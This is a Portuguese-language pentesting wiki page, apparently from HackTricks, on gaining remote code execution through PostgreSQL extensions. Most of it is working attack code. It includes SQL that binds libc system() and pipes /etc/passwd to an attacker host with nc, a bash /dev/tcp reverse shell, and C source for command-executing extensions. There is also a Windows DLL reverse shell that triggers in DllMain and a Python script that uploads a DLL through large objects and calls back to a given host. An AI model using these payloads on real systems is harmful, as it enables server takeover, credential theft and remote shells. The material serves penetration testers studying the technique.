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# RCE com Extensões PostgreSQL

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## Extensões PostgreSQL

O PostgreSQL foi desenvolvido com a extensibilidade como uma característica central, permitindo a integração perfeita de extensões como se fossem funcionalidades nativas. Essas extensões, essencialmente bibliotecas escritas em C, enriquecem o banco de dados com funções, operadores ou tipos adicionais.

A partir da versão 8.1, é imposto um requisito específico às bibliotecas de extensão: elas devem ser compiladas com um cabeçalho especial. Sem isso, o PostgreSQL não as executará, garantindo que apenas extensões compatíveis e potencialmente seguras sejam utilizadas.

Além disso, tenha em mente que **se você não souber como** [**enviar arquivos para a vítima abusando do PostgreSQL, você deve ler este post.**](big-binary-files-upload-postgresql.md)

### RCE no Linux

**Para mais informações, acesse: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**

A execução de comandos do sistema a partir do PostgreSQL 8.1 e versões anteriores é um processo claramente documentado e direto. É possível usar este: [módulo Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
```sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
```
<details>

<summary>Escrever arquivo binário a partir de base64</summary>

Para escrever um binário em um arquivo no postgres, você pode precisar usar base64, isso será útil para esse propósito:
```sql
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';
```
</details>

No entanto, ao ser tentado em versões superiores, **o seguinte erro foi exibido**:
```c
ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
Este erro é explicado na [documentação do PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html):

> Para garantir que um arquivo de objeto carregado dinamicamente não seja carregado em um servidor incompatível, o PostgreSQL verifica se o arquivo contém um "bloco mágico" com o conteúdo apropriado. Isso permite que o servidor detecte incompatibilidades óbvias, como código compilado para uma versão principal diferente do PostgreSQL. Um bloco mágico é necessário a partir do PostgreSQL 8.2. Para incluir um bloco mágico, escreva isso em um (e apenas um) dos arquivos de origem do módulo, após ter incluído o cabeçalho fmgr.h:
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
> `#endif`

Desde a versão 8.2 do PostgreSQL, o processo para um atacante explorar o sistema foi tornando-se mais desafiador. O atacante é obrigado a utilizar uma biblioteca que já está presente no sistema ou fazer upload de uma biblioteca personalizada. Esta biblioteca personalizada deve ser compilada contra a versão principal compatível do PostgreSQL e deve incluir um "bloco mágico" específico. Essa medida aumenta significativamente a dificuldade de explorar sistemas PostgreSQL, pois exige um entendimento mais profundo da arquitetura do sistema e da compatibilidade de versão.

#### Compilar a biblioteca

Obtenha a versão do PostgreSQL com:
```sql
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
```
Para compatibilidade, é essencial que as principais versões estejam alinhadas. Portanto, compilar uma biblioteca com qualquer versão dentro da série 9.6.x deve garantir uma integração bem-sucedida.


Para instalar essa versão no seu sistema:
```bash
apt install postgresql postgresql-server-dev-9.6
```
E compile a biblioteca:
```c
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
```
Em seguida, faça o upload da biblioteca compilada e execute comandos usando:
```bash
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
```
Pode encontrar esta **biblioteca pré-compilada** para várias versões diferentes do PostgreSQL e até pode **automatizar este processo** (se tiver acesso ao PostgreSQL) com:

{% embed url="https://github.com/Dionach/pgexec" %}

### RCE no Windows

A seguinte DLL recebe como entrada o **nome do binário** e o **número** de **vezes** que deseja executá-lo e o executa:
```c
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}
```
Pode encontrar a DLL compilada neste zip:

{% file src="../../../.gitbook/assets/pgsql_exec.zip" %}

Pode indicar a esta DLL **qual binário executar** e o número de vezes a executá-lo, neste exemplo ele executará `calc.exe` 2 vezes:
```bash
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
```
Em [**aqui**](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) você pode encontrar este shell reverso:
```c
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}
```
Observe como, neste caso, o **código malicioso está dentro da função DllMain**. Isso significa que, neste caso, não é necessário executar a função carregada no postgresql, apenas **carregar a DLL** irá **executar** o shell reverso:
```c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
```
O [projeto PolyUDF](https://github.com/rop-la/PolyUDF) também é um bom ponto de partida com o projeto completo do MS Visual Studio e uma biblioteca pronta para uso (incluindo: _command eval_, _exec_ e _cleanup_) com suporte a múltiplas versões.

### RCE nas versões mais recentes do PostgreSQL

Nas **últimas versões** do PostgreSQL, restrições foram impostas onde o `superusuário` é **proibido** de **carregar** arquivos de biblioteca compartilhada, exceto de diretórios específicos, como `C:\Program Files\PostgreSQL\11\lib` no Windows ou `/var/lib/postgresql/11/lib` em sistemas \*nix. Esses diretórios são **protegidos** contra operações de escrita pelo NETWORK\_SERVICE ou pelas contas postgres.

Apesar dessas restrições, é possível para um `superusuário` autenticado do banco de dados **escrever arquivos binários** no sistema de arquivos usando "objetos grandes". Essa capacidade se estende à escrita dentro do diretório `C:\Program Files\PostgreSQL\11\data`, que é essencial para operações de banco de dados como atualização ou criação de tabelas.

Uma vulnerabilidade significativa surge do comando `CREATE FUNCTION`, que **permite a travessia de diretórios** para o diretório de dados. Consequentemente, um atacante autenticado poderia **explorar essa travessia** para escrever um arquivo de biblioteca compartilhada no diretório de dados e então **carregá-lo**. Essa exploração permite que o atacante execute código arbitrário, alcançando a execução de código nativo no sistema.

#### Fluxo de ataque

Primeiramente, você precisa **usar objetos grandes para fazer upload do dll**. Você pode ver como fazer isso aqui:

{% content-ref url="big-binary-files-upload-postgresql.md" %}
[big-binary-files-upload-postgresql.md](big-binary-files-upload-postgresql.md)
{% endcontent-ref %}

Depois de ter carregado a extensão (com o nome de poc.dll para este exemplo) no diretório de dados, você pode carregá-la com:
```c
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
```
_Nota que não é necessário adicionar a extensão `.dll`, pois a função create irá adicioná-la._

Para mais informações, **leia a** [**publicação original aqui**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
Naquela publicação, **este foi o** [**código usado para gerar a extensão postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_para aprender como compilar uma extensão postgres, leia qualquer uma das versões anteriores_).\
Na mesma página, este **exploit para automatizar** essa técnica foi fornecido:
```python
#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")
```
## Referências

* [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
* [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)

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